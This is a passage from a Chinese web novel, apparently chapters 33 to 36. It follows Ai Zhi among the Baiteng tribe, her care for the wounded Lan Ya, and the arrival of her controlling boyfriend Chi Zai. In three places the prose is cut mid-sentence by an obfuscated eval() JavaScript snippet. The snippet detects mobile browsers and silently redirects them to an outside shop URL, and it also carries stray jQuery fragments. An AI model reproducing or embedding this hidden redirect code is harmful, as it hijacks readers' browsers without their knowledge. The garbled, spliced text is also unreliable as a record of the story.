深灰的眼睛意味深长地看了一眼艾知，随后向阿言说道：“阿言你留下，你阿爸待会来这里同你说话。” 阿言留在了议事帐子，艾知自己一人回了自己的小帐子。 回去的时候她看见了要去井口打水的斯琴。 听阿言说他阿妈前两天扭伤了腰，艾知脚步加快立刻迎上去：“斯琴姨，你腰不好，不能打水的。我来帮你。” 斯琴只淡淡地看了艾知一眼，并未说话，将水桶扔回井里舀水。 艾知只当斯琴没听见，又重申了一遍，热心肠地想从斯琴手里拿走水桶上的抽绳，但被斯琴避开了。 双手落了个空，少女讪讪地站在一边，看斯琴很费力地从井里舀水。 许是腰伤并未痊愈，斯琴一只手扶腰，另只手去打水，很显然水打得根本不够。 艾知看不下去了，再次从斯琴手里拿走绳子，按照阿言教自己的方法打了满满一桶水提上来。 她的力气不太够，一桶水就够她累的了。她努力将水桶里的水倒进斯琴带来的水箱中，小心不让水洒出来。 弄完这一切后，艾知直起身子，笑着看向斯琴：“阿姨，我帮你拎回去。” 其实艾知一直都在努力讨好自己，包括今天帮忙打水也是如此，斯琴一直都知道。 但是女儿的离世让斯琴仍无法面对艾知。 一看见她，她就想到自己可怜的女儿。 尽管知道艾知并不是加害阿音的凶手，可一看见阿诺亲近艾知就像亲近阿音般亲呢，她心中的酸楚就跟密封瓶子装的发酵气体似的，如果不发泄出来，迟早会爆炸。 “我那日只是陈述事实，并不是帮你。所以你不用刻意讨好我，我也不会领你的情。阿音是我的孩子，就算其他人忘记了这件事，我作为母亲，是永远都不会忘记的。” 听到斯琴的话，艾知就像一个做错事的小孩，拎着水箱不知所措。水箱很沉，勒得她的手已没了血色。 “怎么了？怎么都不说话啊？”阿言跑过来，看到自己阿妈皱眉，又看看艾知，他瞬间明白刚才发生了什么。肯定是他阿妈说了不接受艾知的道歉云云之类的话。 他直接接过艾知手中的水箱，对艾知说：“你傻不傻？你几斤几俩还不知道吗？还想拎水箱，水箱拎你差不多。” 从小在山野间长大的阿言体力好的没话说，单手拎一只水箱根本不在话下，他见还有另外一个水箱，将水桶丢回井中打满拎了上来，趁艾知不注意，倒水时故意轻洒出去一点水，水不多不少，刚好让艾知的裤腿打湿。 “呀！水打满了都溢出去了。艾知不好意思啊，你要不回去换件衣服吧，裤子湿了也容易感冒。”说完又推了艾知一把。 艾知知道阿言这是在给自己找台阶下，好让她离开这个让她尴尬的地方。 阿言的好意，她不能不接，艾知点点头，又向刚刚一直沉默的斯琴鞠了一躬后，小跑离开了。 “阿妈你也真是，腰都没好呢，干嘛要来打水。家里不还有我和阿爸嘛。” 阿言就当什么事都没发生一样，像是教训似的说道：“说了让你修养修养，非得来打水，腰严重了可不许说疼哦。” “啊？哦……”斯琴从晃神中回过神来，她瞧着艾知小跑离开的身影，竟一时想到了阿音19岁时候的光景，不知不觉就走了神。 阿言知道阿妈心里一直不好受，在阿音这件事上，艾知是理亏的，所以也只能委屈了艾知。 研制医药向外兜售的反响很好，药拿到市集上，很多人哄抢一空。便宜又好用的药谁会说不用呢。 不过防止阿琪洛滋事寻仇，他们的兜售都是悄悄进行的，艾知和阿言这样的年轻人还是留在部族上山采药。 跟着阿言采药，艾知终于能将从前课本上的动植物百科知识与现实串联起来，并学以致用。 艾知的学习能力很强，阿言说过一遍，她就能牢记于心，等下次阿言故意拿错的叶子叫她认，她也能立刻指出阿言是在糊弄她。 “你还挺聪明，你研习测验生物科分数应该挺高吧。” 贝器时代的孩子能进研习院读书的少之又少，阿言在教习院读完书后就没再读了。他没有和其他同学一样去专职学院学个一技之长，而是和姐姐当年一样，回部族跟阿爸学医。 去专职学院读书也要花钱，部族实在掏不出太多的钱来供他跟阿音读书。 许是基因奠定基础，又或是家族熏陶耳闻目染，阿言从小便展现医学上的天赋，所以他也不觉得没和同龄人一起读书有多遗憾。 现在他也算出师，自己教上学生了，而且他发现他这个学生好似天生对动植物有着不一样的热情和喜爱。 他们刚好路过一片草地，上面长了一小片含羞草。 现在，含羞草已经很难找到了，若不是常年采药与动植物打交道，其他人不一定认识含羞草，阿言惊奇艾知居然认得。 艾知蹲下来轻轻摸了一把含羞草，含羞草立刻闭合，少女直起身子，将背篓背正，脚步避开了那片很小的含羞草：“我没参加过什么研习测验，我在家里学习。” “你竟然没有上过学？”阿言诧异，“教习局规定所有适龄学生必须要去教习院读书的。” 艾知心道这跟她那个时代的九年义务制教育没区别，可她又不能说自己来自过去，只好随便搪塞两句。 “我跟我奶奶生活的时候是上过学的，但是奶奶去世后我身体也不好了，不太适合去外面读书，所以我哥哥和小伽……嗯，一个机器人朋友，他俩在家教我。” 蹩脚的理由在艾知一本正经地描述下竟显得格外真实，也许是艾知长了一张不会骗人，十分真诚的脸的缘故，阿言居然信了。 不过他很快又觉得不对劲了。 “你跟你哥不是恋人吗？你哥教你……你那时候多大啊？你现在也还没成年呢！” 这让她该怎么跟阿言解释呢。 说她15岁就跟了迟载？这么说好像显得迟载像个人贩子。 可是她自己又是自愿跟迟载来贝器时代的。 还是说她其实18岁就成年了，所以19岁的她跟迟载谈恋爱没有问题，不算早恋？ 或是解释她跟迟载是两情相悦，日久生情？ 又或者说她与迟载确定恋爱关系前一直都是发乎情，止乎礼？ 艾知有点头疼，好像怎么解释都会有些奇怪。不怪阿言疑惑，她自己有时也会好奇一个问题：迟载为什么会喜欢她。 迟载的爱时常让艾知恍惚，她经常有我们怎么会在一起的想法。 在自己意识到自己对迟载的感情之前，迟载对她就像哥哥对妹妹那般呵护备至，绝不跨越一分一毫的情感距离。可她意识到自己真的喜欢上迟载后，像是雷达感应，迟载对她好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16570958|184359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又不一样了，看她的眼神始终含情脉脉。 这种感觉就像迟载洞悉她所有的内心活动，只待她意识觉醒，他才会有下一步动作。 就像养久了的宠物，即使语言不通，但是宠物一个眼神，一个动作，主人就知道下一秒宠物要做什么，并给出相对应的回应。 把自己类比成宠物虽然奇怪，可艾知真感觉如此。 迟载对她的熟悉就像两人认识了许久，久到艾知一出生，迟载就能看透她这一生。她就像迟载手上翻花的花绳，即使翻出更多的花样，可线依旧紧紧缠绕在操控的手指上。 迟载对她好，她能感受到。 可迟载用温柔包裹的控制欲，她同样也看在眼里。 无奈的是，她没有办法明说，也不可以拒绝，因为她的一切都是迟载给的。 “我们换个话题吧。”艾知心情不是很好，急切地想要换个话题，结果小腹一阵抽痛让她“唔”了一声。 “怎么了？”阿言下意识就拉住艾知的手腕，三指搭脉，然后松了一口气道，“你要来例假了。” 难怪前两天她就开始腰酸，小腹有隐隐的痛感，她的例假来的一样很准时，她记得就在每月的19号，难道她还有一天就到20岁的生日了吗。来到白滕后，她就再也没有了时间概念，每天日落而息，日出跟着阿言认草药。 “今天是19号吗？”艾知蹲了下来，缓解腰酸和肚子的坠痛。 傻不拉几的也就算了，怎么连日子都能记错。阿言觉得夸艾知聪明夸早了。 “今天才17号。”阿言纠正道。 是吗？艾知很疑惑，明明她按照除夕的时间推算到今天，就该是19号啊，怎么会是17号？ 艾知满腹疑惑，虽然她不常看时间，也不需要记清楚日历，可时间的错乱让她心里很不舒服。 难道……不会的，没道理连日期都要骗自己，应该是这段时间发生了太多事情，自己又昏迷了几天，记错了时间很正常。 阿言不知道艾知心理活动，看她满脸愁容，以为她是生理期难受，蹲下来背对艾知：“上来吧，谅你给我们部族解决了物资问题，我好心背你回家。” 艾知愣怔住，并没有动作。 阿言等得不耐烦了，转身催促道：“你墨迹什么呢，我让你上来就上来啊。” “我……我肚子没那么痛，我可以自己走。” 当着阿言的面，艾知不想说她有男朋友，所以她需要跟其他男生保持距离，让阿言背她不合适。她要是实话实说，阿言肯定又要生气，说她矫情。 “给我片止痛药就好了。” 以前生理期肚子痛，迟载都是给艾知止痛药片的。药片快速且效果持久，艾知吃一片就能撑过整个生理期。 真麻烦，都要止痛片了还要嘴硬说自己能走。 阿言二话不说，站起身，三下五除二直接将艾知从地上拽起来拉到自己背上，背起人就走。 “喂！还有背篓呢！” 阿言的速度快到艾知都没反应过来，等回过神人已经在阿言背上了，然后她就想到了被他们丢下的背篓。 阿言沉默着拾起来，两只腾出来的手拎着。艾知不太好意思：“我还是下来吧，我自己真的能走的。” “真啰嗦。”阿言丢了一个背篓给艾知，艾知赶紧背在身上，还好今天他们带的背篓很小。 “别吃止痛药了，回去熬药汤喝。止痛药治标不治本，痛经得慢慢调理才行。” 34. 第 34 章 为了不拂阿言的好意，艾知当着阿言的面将一整碗特别苦的汤药喝的一口不剩。 阿言手里好像捏着什么东西，在艾知喝药的时候就一直犹犹豫豫的，最后终于下定决心，才递到艾知眼前。 艾知发现是一根蓝色的棒棒糖。 她惊喜地望向阿言，阿言不好意思道：“给你的。”然后又补充道，“作为你对我们部族的帮助的报答。” 喝完苦的药，这个时候正需甜的东西回甘，艾知开开心心接下，很认真地跟阿言道谢。 “没……没什么。” 阿言别过脸去，不再说话了。 糖是普普通通的白砂糖的甜味，并不是艾知想象中的水果香型。 不过这是阿言精心准备的礼物，艾知依旧吃得很开心。 毕竟这是她除了营养剂外接触到的唯一的其他食物。 迟载把艾知的嘴养得很刁，每日都是色香味俱全的美味佳肴。 以前她单纯地以为所有人的生活水平和她一样，出了第二区后她才真正意识到科技发达并不代表人民生活水平提高。 贝器时代科技文明已达到前所未有地高度，可依旧有难民的存在。仍然存在衣不蔽体，吃不饱穿不暖的穷苦人。 甚至，远不及艾知和奶奶在21世纪相依为命的日子。 时代在进步，可人类却没有与时代共同进步，享受富贵和安逸的仍旧是顶层社会的少部分人。 科技和文明像坐了加速器，而普罗大众远远被抛在身后。 艾知吃着糖，心想如果白滕部族要因为这次的改革能致富就好了，大家也不用那么辛苦了。 想着想着，下身一阵暖流涌过，艾知脸色大变，咬在嘴里的糖掉在腿上。 “没什么事的话我先走了，你好好休息。” 阿言端起药碗起身就要走，被艾知着急叫住。 “那个……阿言，你能给我一条经期裤吗？” 就算再羞耻，艾知也不得不开口了。她现在没穿经期裤，起身动一下都是完蛋。 经期裤是一种特制材料的短裤，女生经期穿上会自动分解经血，能在经期一直保持干爽清洁，而且不厚重，又薄又轻。 小伽推测出艾知的经期后，会提前为她准备经期裤。艾知刚开始百般不习惯，总是不放心，担心没有卫生巾会漏出来。 多次小心查看后证明，经期裤是艾知心中科技进步后最好的发明物。 阿言的脸唰的一下子变得通红，背过身去，很小声地说：“你等我一会。” 艾知只好坐在板凳上一动也不动，耐心等着阿言，不知道过了多久，艾知的腿都要麻了，斯琴在这个时候掀开门帘进来。 斯琴还是一副面无表情的样子，但是声音多了一分柔和：“我们没有经期裤，只有这个。先凑合用吧。” 她递来一个包裹，然后又离开了，走的时候，她顺道帮艾知把门关紧。 艾知心下感动，打开包裹，发现里面是好几包像她小时候用的卫生巾一样的内裤，还有一套干净整洁的衣物。 “谢谢。”艾知抚摸着衣物，不知不觉泪又从眼角落下来。 所以斯琴阿姨不是真的讨厌自己，对吧。 阿言的药汤果真有效，艾知的腰和小腹都不再酸痛了，她连睡觉都比以往入睡得更快一些。 不过她不再每晚梦见迟载了。 这让她有些难过，细数下，她在白滕部落已经生活了一周了，可迟载还没有找到她。 明天就是她的生日，以往迟载无论有多忙，她的生日是永远都不会缺席的。 会不会是第二区有急事要迟载急着回去处理呢，所以耽搁了找她？ 艾知仰躺在卧榻上，看着头顶螺旋向上的帐篷角，想着迟载和小伽，忽感困意，一歪头便睡着了。 “喂，快醒醒，该上山采药了。”大清早，阿言就在帐篷包房外喊得很大声。 艾知揉了揉眼，小声对自己说了声生日快乐后就起床了。 今天是这个世界普遍认定的成年的第一天，艾知觉得清晨升起的太阳都是在恭贺她。 虽然艾知心里早就认定自己早在两年前就已成年，但是在这里呆了那么久，入乡随俗，今天对于她来讲还是格外的不一样的。 就连走路都要比平常脚步更轻盈一些。 阿言看出了艾知的开心，好奇地问道：“你今天挺开心啊。梦到什么美梦了？” 艾知没有把自己的生日告诉过白滕部落的任何一个人，包括阿言。 这里不是第二区，不是她和迟载的家。 这里的每一个人都在为生活拼尽全力，一个普普通通的生日跟如何生存相较，轻于鸿毛。 她又怎么好意思说出口呢？ 这里的人没有义务陪她过生日。 “没有哇，就是觉得今天是个好日子。”艾知笑笑，先阿言一步往山上走。 阿言跟了上去，但很快揪住艾知，不让她继续往前了。 平常阿言很少阻拦自己，艾知侧脸看见阿言一脸严肃，就知道前面定是发生了什么，或是有陌生人闯入这座大山。 于是她很听话地走到阿言身后，用极小的声音问：“我们要回去吗？” 阿言摇头：“先去看看情况。” 说完一个人挡在前面，慢慢往前探路。 艾知跟在后面，小心翼翼地尽量保持安静。 阿言走向前方可疑的那片区域，竟什么也没发现，艾知站在他旁边，虽没说话，也是十分疑惑。 忽然一只手从艾知身旁的灌木丛中蹿出来拉住她的脚腕，搭在定位仪上，艾知试到异常，低头一看，一直苍白有血迹的手搭在自己的脚腕上，吓得立刻尖叫跌倒在地。 阿言也被艾知的尖叫吓了一跳，转过身一看，又被这只手吓到，好不容易稳下心神，大着胆子往灌木丛中一看，发现一个浑身是血的年轻女孩瘫倒在地。 艾知此刻吓得眼泪都出来了，一听阿言说是一个受伤的女孩子拉住了她，立刻收回了泪水，小心翼翼地掰开那只紧紧握住自己脚腕的手。 阿言探了一下年轻女子的脉搏，发现人还活着，只是身受重伤晕了过去。 剩下两个清醒的人面面相觑，沉默了一会后，还是决定把晕过去的女子带回部族。 …… 兰亚在耳边的窃窃私语中缓缓睁开眼睛，她睁眼的一瞬间，一张精致秀气的少女的脸凑过来，兰亚下意识想伸出胳膊挡住自己的脸，结果不小心碰到肩膀的伤口，疼的“嘶”了一声。 “哎呀，你别怕，我不会伤害你的。你身上的伤口太多了，不能动来动去的。” 少女因担心而蹙起秀眉，可那双漂亮的眼睛一眨一眨的，像波光粼粼的荡漾的湖面。 斯琴姨在处理伤口的时候，艾知就在旁边打下手。除去身上大大小小的像是电刀割伤一般的口子，最致命的是一根金针卡在女孩的右肩。 长老看后说上面淬着毒，好在部落里有药可解，而且中毒时间不长，女孩保下了一条命。 艾知无法想象在遇到她和阿言之前，这个有着一头漂亮的棕卷发的女孩遭受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617488|184359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了什么。 “你刚刚发了一次汗，现下应该不会再发烧了。” 艾知摸摸兰亚的额头：“你怎么一个人出现在荒郊野岭的，还弄的一身伤呢？” 从小生活在尔虞我诈下的兰亚深谙宫闱阴险，竟因艾知眼神中满得快要溢出来的好奇晃了神，猛地被艾知这样直愣愣得盯着，兰亚不知所措。 兰亚想起了自己小时候在宫殿养的一只可卡犬，娇娇的，很可爱。 高烧过后，兰亚的嗓子哑得厉害，她眼珠子转了转，没说话。 像是心灵感应般，这个长得像可卡犬的女孩用棉签沾湿纯净水，浸润兰亚干裂的嘴唇。 “阿言说你现在还不能喝太多水，所以我就用棉签帮你解解渴。等你好一点了，我再喂你喝水。” 艾知自顾自地说话，丝毫不在意床上受伤的姑娘没有搭理她。 许是惺惺相惜，许是部落中终于又出现一位异族人，艾知没来由的开心，她在斯琴姨给女孩做完全身的伤口包扎后，自告奋勇让出自己的帐子，自己替族人照顾受伤女孩。 见兰亚打量四周，艾知好心解释道：“我们发现你的时候你已经烧迷糊了，就把你带回来了。你别担心，这里的人都很善良，我……我也是他们收留的。” “我叫艾知，你叫什么呀？”艾知尽可能放软语气，让自己看上去温柔可靠，且值得信赖。 兰亚一眼就看穿艾知的心思，觉得不说话可能会让这个像可卡犬一样的女孩失望，于是终于开口，嗓子依旧嘶哑：“……兰亚。” 不出兰亚意料，艾知果然立刻欣喜起来，开扇型的卧蚕显得眼睛又大又亮。 真简单，如果能在宫里待着，不知道能活多久。兰亚心想。 “你放心啊，我们这里特别安全。” 艾知再三保证，生怕兰亚觉得他们都是坏人。虽然刚开始自己也以为被坏人绑架了，通过这些天的相处，艾知觉得白滕部族的人都很善良。 虽然那个红头发的兰溪大叔总是吹胡子瞪眼睛，动不动就说要杀自己，艾知心里明白，他们并不是真的想伤害自己。她就在迟载找到自己之前努力帮着白滕部族干活，帮助他们提高生活条件，等见到迟载后，再一同弥补他们所犯下的错。 “嗯。” 兰亚嗓子很痛，几天几夜的断水又加上被围剿追杀，她已经没有力气再多说一个字了，不过面对这个像白纸一样的姑娘，她倒是可以多说几句。 毕竟这样单纯的人在宫廷里是稀罕物。 一个字的回应也让艾知分外开心，她总觉得自己可以跟兰亚相处的很好。 “你是被什么人追杀啊？如果是仇人欺负你的话，我想我哥哥应该可以帮助你。” 艾知心中的小识哥哥是无所不能的。 迟载出身高贵，父亲又是一区之首，受万人敬仰，除了皇主和其他并列的几个首辅大臣，话语权和军权也就迟家最大了。 兰亚淡淡看了艾知一眼，平静地说道：“我只记得自己的名字，其余什么都不记得了。”然后不自在地咳了两声。 胸口还有伤，咳嗽震得伤口发痛，兰亚拧眉“嘶”了一声。 艾知想到了自己当时遭受排异反应的痛苦。 她心疼坏了，觉得这个时候不能再逼兰亚说话了，失忆的人本来就难受，再加上她身上都是伤。 一切都如兰亚预料般发展，艾知没有再多问一句，于是她安心地闭上眼躺在艾知的睡塌上休憩了。 真好骗。兰亚闭着眼睛心想。 这一觉她睡得格外踏实。 35. 第 35 章 见兰亚休息了，艾知才悄悄退出去。 一出来就撞上了鬼鬼祟祟的阿言。 “你干什么呀，吓死我了。”艾知拍拍胸脯。 “你……你还吓死我了呢！”阿言脸唰的一下子变红，一个人背过身去。 艾知不知道阿言脸红个什么劲，声音那么大吵醒兰亚了怎么办。揪住阿言的衣角，给人拽到一边。 阿言愣神，没想到艾知竟然这么主动，刚要开口说话，就被艾知打断：“嘘！你声音小点，兰亚刚睡觉。” “兰亚？”阿言抓住重点，“那个人醒了？叫兰亚？你还问出点别的没？” 尽管白滕部落有专门的隐藏追踪仪，但在他们依赖生存的山野中发现外人是一件值得警惕的事情。 外人不一定能发现白滕部落，但是有可能会意外闯入。 同样，在大山中也容易失去隐藏追踪仪的保护。所以在阿音一事之后，凡是出部落都必须双人同行，不可再单独行动。 艾知摇头，除了名字，兰亚什么都不记得了。 “她身上伤那么重，一定是遭遇仇家了吧。要么就是从阿琪洛实验基地逃出来的试验体。” 阿言义愤填膺，想到阿琪洛那个阴险老狗就一肚子火，恨不得立刻把阿琪洛抓住大卸八块。 艾知心一惊，阿言这么说一定是有根据的，如果兰亚身上的伤真是拜阿琪洛实验基地所赐，阿琪洛坏到骨子里了。 坏事做尽的人就该拉出去枪毙。艾知也跟着阿言一块暗暗地骂阿琪洛。 这边，站在高台眺望窗外远景的阿琪洛连打三个喷嚏，连杯中的咖啡差点都要洒出去几滴。 罗温忙不迭地递送丝巾手帕：“先生您是感冒了吗？” 阿琪洛轻拭鼻子，干净利落地单手将手帕叠好，丢进桌面垃圾处理盘。 一场蓝色的小火焰从中突然升起，吞灭了刚刚丢进去的丝巾手帕，而没留下任何灰烬和烟缕。 “我想可能是有哪位可爱的女士在思念我吧。” 阿琪洛品了一口咖啡，眉头舒展开：“下个季度的生日清单准备好了吗？各区局长，署长的夫人们有要过生日的，要提前备好礼物。记得，要以我本人的口吻写一封慰问信。” 罗温迅速打开平板仪，汇报已送出去的礼物。 阿琪洛十分满意，孺子可教也。如今罗温不用自己嘱咐便能替老师处理这些公务了。 “迟公子有消息吗？我记得获悉艾知小姐具体位置是在三天前。” 阿琪洛倚靠在旋转飞椅上，在罗温面前飞来飞去。 “这位像小仙女一样的小美人的机械心脏我可加足马力，提前制好了。你们这群人都不知道，为了这颗精美的，无与伦比的，世间仅有一颗的心脏，我又多白了一根，不，两根头发丝。就静等放进小美人那娇嫩纯净的胸腔里了。” 五十多岁的人了，还那么爱瞎折腾，老不正经。罗温心里想着，没敢袒露出一丝内心的吐槽。 “迟公子在获取艾知小姐具体方位后，本打算前行的，但是又被他的父亲临时紧急召回了，具体什么事，我没有资格打探到。”罗温如实回答道，“迟公子应该也想很快找回艾知小姐吧。” “算了算了，给他具体方位就行了。艾知小姐具体什么情况跟我们也犯不着。我们是搞不懂他们这群玩弄人心的政客的。要我说啊，迟公子比他父亲还要胜于蓝呢。” 阿琪洛稳稳降落在地面上：“不像我，我就只喜欢玩机械心脏和人体实验。走，罗温，我们去观赏一下艾知小姐那颗独家定制的心去。” 白滕部落。 艾知骂完，回过神来问阿言：“你刚才站在门口干什么？” 阿言又开始支支吾吾，顾左右而言他。 艾知没了耐心，正打算去看看阿诺，被阿言急急忙忙拦住：“等一下，我有东西要给你。” 话毕，少年从右侧口袋中掏出一根挂着一个指甲盖大小的嫩芽琥珀的发绳塞给艾知。递礼物的瞬间，不知是晚霞的光照射的缘故，还是怎么了，阿言的脸非常红。 “你不是过生吗，给你的。” 能收到礼物艾知还是很开心的，但是她十分疑惑：“你怎么知道今天是我生日？我没有告诉过你啊。” 阿言指了指艾知脚上的定位仪，艾知立刻明白过来，但是现在该轮到她脸红了。 “你监听我！”艾知立刻跳到距离阿言好几米开外。 她怎么忘记这个定位仪有监听的功能呢？她是不是晚上说的梦话，一个人嘀嘀咕咕埋怨迟载还不来找她，以及自己跟自己说的话，全被他们听见了。 阿言立即双手举过头顶，向艾知保证。 “我发誓我只是碰巧今天早上跟你采药的时候才戴了纳米耳蜗。谁知道我恰好就听到了你说的祝自己生日快乐的这句话呢。” 要求阿言再三保证没有偷听其他后，艾知才放心走过来。 她将发绳绑在自己单扎在一侧的麻花辫上，还用手拨弄了一下上面的琥珀坠子：“谢谢你，这是我今天收到的第一份礼物。” “成年快乐。”阿言声音很小，艾知还是听见了。 她歪头笑道：“谢谢你阿言，今天我很开心。” 即使迟载不在身边，她也开心。 在没有迟载陪伴的日子里，艾知渐渐发现好像自己一个人也可以过得还行。 艾知的帐子中的唯一睡塌让给了兰亚，她就趴在兰亚的床边休息。 等她再次醒来，感觉有人在给自己盖毯子。正在做梦的艾知还以为是小时候自己踢被子，奶奶给自己盖被子，迷迷糊糊喊了声“奶奶”。 结果兰亚盖毯子的手顿时停在半空中，思考了片刻后，还是决定把艾知抱起送到床榻上睡。 艾知趴在床边睡得不踏实，有人一动自己，她立刻睁眼。 大脑清醒后，看到眼前这一幕，她简直不能相信自己的眼睛——她、她、她竟然被兰亚横抱起来了，而且兰亚昨天还是重伤躺在床上的病患！！ “你、你、你！” 艾知被兰亚轻轻放在床上，惊得说不出后半句。 兰亚笑笑：“这里的药很有效，我睡一晚就好了。” 兰亚没有说谎，白滕部族的药见效又快又好， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655082|184359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她本就是体质特殊的皇主之女，身体不能说彻底痊愈，但好的也有七七八八了。 她从小骑马练剑的，体格子比一般女孩强健一些，抱起一个瘦削的艾知还是轻轻松松。 艾知半信半疑，爬起来非要检查兰亚身上的伤口。 绷带一拆，女孩健康的小麦色的肌肤上只留下了一些疤痕，就连最致命的右肩上的伤口也结了痂。 艾知怕光裸着上半身的兰亚冷，赶忙将半拢在自己身上的毯子披回兰亚身上。 兰亚笑眯眯地看着这个比蜜还甜的女孩，道了声谢。 余光瞥向了艾知脚腕上的定位仪，她眉头紧锁，但没说话。 艾知注意到了兰亚的视线，生怕兰亚对阿言他们族人有误解，急忙撒谎：“我不是刚来嘛，各处也不熟悉，他们怕我走丢就给我戴上这个。” 恐怕是怕你乱跑吧。兰亚心想，但还是回以微笑表示理解。 兰亚发现她醒后艾知的麻花辫上绑了一根新的发绳，为了不让艾知紧张，开口说道：“发绳很好看，很衬你。” 琥珀包裹的小小嫩芽就像朝阳的洒向大地的第一缕光，充满勃勃生机，像艾知本人一样，总是挂着笑，看她一眼，心里的疲惫好像就能消减不少，觉得明天依旧是个艳阳天。 “嘿嘿谢谢你。”艾知眼睛弯成了月牙，“你长得也好漂亮哦，像洋娃娃一样。” 洋娃娃？ 兰亚的脑子里想的是皇庭古典博物收藏室内陈列的大眼睛，五官立体的近新时代流行的孩童玩偶。 有趣。兰亚觉得艾知真的蛮有意思的。 部族里即使来了外人，阿言和艾知的采药仍旧不能停止。 阿言又在外面喊艾知了，艾知只得依依不舍地跟兰亚告别，背起自己的小背篓出了帐子。 “怎么啦？刚才看你还喜笑颜开的，怎么一见到我就没个好脸色。” “没有啊，你早上没睡醒，没看清而已，我一直都是这么一本正经的。” 跟阿言混熟后，艾知说话不再像刚开始那么畏畏缩缩了，就跟同龄朋友似的，你一言我一语毫不客气地回击。 阿言岂是乘下风的对手，回怼道：“见我没好脸色，你把我送你的发绳还给我。那上面的琥珀可是我找了好久，才在山里发现的。” “略略略，就不给。你送给我的，就是我的了，哪有要回去的道理。” 两人打打闹闹，一路嘻嘻笑笑逛到了部落出口。 刚一出部落的屏蔽圈，艾知远远地就看见前面站着一个人。 一个她非常熟悉的人，一个她朝思暮想的人。 那个人就像是等着艾知向他飞奔而去似的，站在原地不动。 艾知先是不相信，使劲眨了眨眼，确认不是幻觉后，立刻想要奔过去，却被阿言拦住：“前面是谁啊，我感觉他不怀好意。艾知你靠后，走我后边。” 说完，阿言挡住了艾知的视线，将她护在身后。 他不是坏人，他是我最好的小识哥哥。 艾知还未开口，那人已向他们走来。 “小爱，这些天你有想我吗？” 36. 第 36 章 “你谁啊？什么小爱，还爱不爱的。”阿言依旧将艾知挡得严严实实，死死地瞪着迟载。 “他就是我哥哥。”艾知拍拍挡在自己身前的阿言的胳膊，小声劝道，“你放心，他是好人。” 才这么几天就跟别的男人这么亲近了，之前答应自己要陪自己一辈子的话全都忘记了，果然不乖。 男人眼底划过一丝不易察觉的阴翳，直到艾知主动向自己跑过来才消散。 艾知眼中全然都是迟载，可说出来的话，连尾调都带着委屈和埋怨：“你问我想不想，你怎么不说现在才找到我啊！你再晚来两天，我就把你彻底忘个干净！” 几日不见，艾知的嘴皮子竟这样伶俐，三言两语的娇嗔瞬间化解了迟载的不痛快，他实在拿她没办法。 “知道你失踪后我立刻派人到处找你，我收到消息说在这附近有人居住，就想着过来问问，看有没有人见过你。结果刚过来，就看见你了。” 迟载的谎话编起来脸不红心不跳的，说得跟真的似的，唬得艾知信以为真。 虽然迟载从来不说，艾知跟迟载相处的这几年，对于他的性子自认为还是能摸清一二的。 她主动牵住迟载的手，两人一起走到一言不发的阿言面前，艾知笑着介绍道：“这位就是我跟你说过的，我的男朋友。” 一句“男朋友”让迟载心情大好，因为艾知太可爱了，他决定暂时不追究这个毛头小子刚刚碰艾知的事情。 但同样一句“男朋友”也让阿言的心猛地一紧。 他一直都知道艾知有男友，她同样很爱她男朋友，但是一见到真人，他还是没法太快接受。他也不明白自己内心这点不接受是为什么，只好用冷漠掩盖慌张与无所适从。 迟载向阿言伸出手，用他的好皮囊展现他惯用的外交手段：“您好，我是艾知的爱人。” 他故意将“男朋友”替换成“爱人”，并且咬字很重，像在宣示主权。 阿言装作满不在乎地“哦”了一声，双手插兜，并未搭理迟载。一个人背着竹篓往回走了。 呵。迟载嘴角一勾，果然还是个毛头小子。 他收回手，并未多见怪。 艾知敏锐地察觉到阿言不喜迟载，慌忙向迟载介绍道：“阿言性格比较内敛，不会说话，但是他人很好的。他们整个部族的人都很好。” “哦？” “嗯嗯，他们……他们收留了我，为我治病。所以我现在身体很强壮了。”艾知不想说是白滕部族的人绑架了她，事出有因，他们也未曾真的伤害她。 艾知示意迟载弯下身子，在他耳边悄悄说道： “小识哥哥，我身上换的是阿言姐姐阿音的血。阿琪洛骗了我们，阿音跟我换了血不久之后因为严重的排异反应去世了。阿音的离世让阿言部族的人很难受，我们应该做点什么补偿阿言一家，还有白滕部族。” 迟载看了眼艾知背后的小背篓，心下了然，他们扣下他的宝贝留着做苦力偿命呢，难怪把艾知绑了去。 拿一个平民的命换艾知的命，也算死得其所。 既然他善良纯真的艾知要他给点补偿，他就给呗。 他点点头，答应道：“是的，我是该做点什么报答他们。” 艾知一听迟载这话，终于放下心来，便开开心心地跟迟载叙说起自己在白滕部族的所见所闻。 “白滕部族的族人们刚开始的确因为阿音的死很生气，但是他们并没有追究我，因为这一切的一切都是阿琪洛造成的。是他发明了换血手术，让很多人因此殒命。” 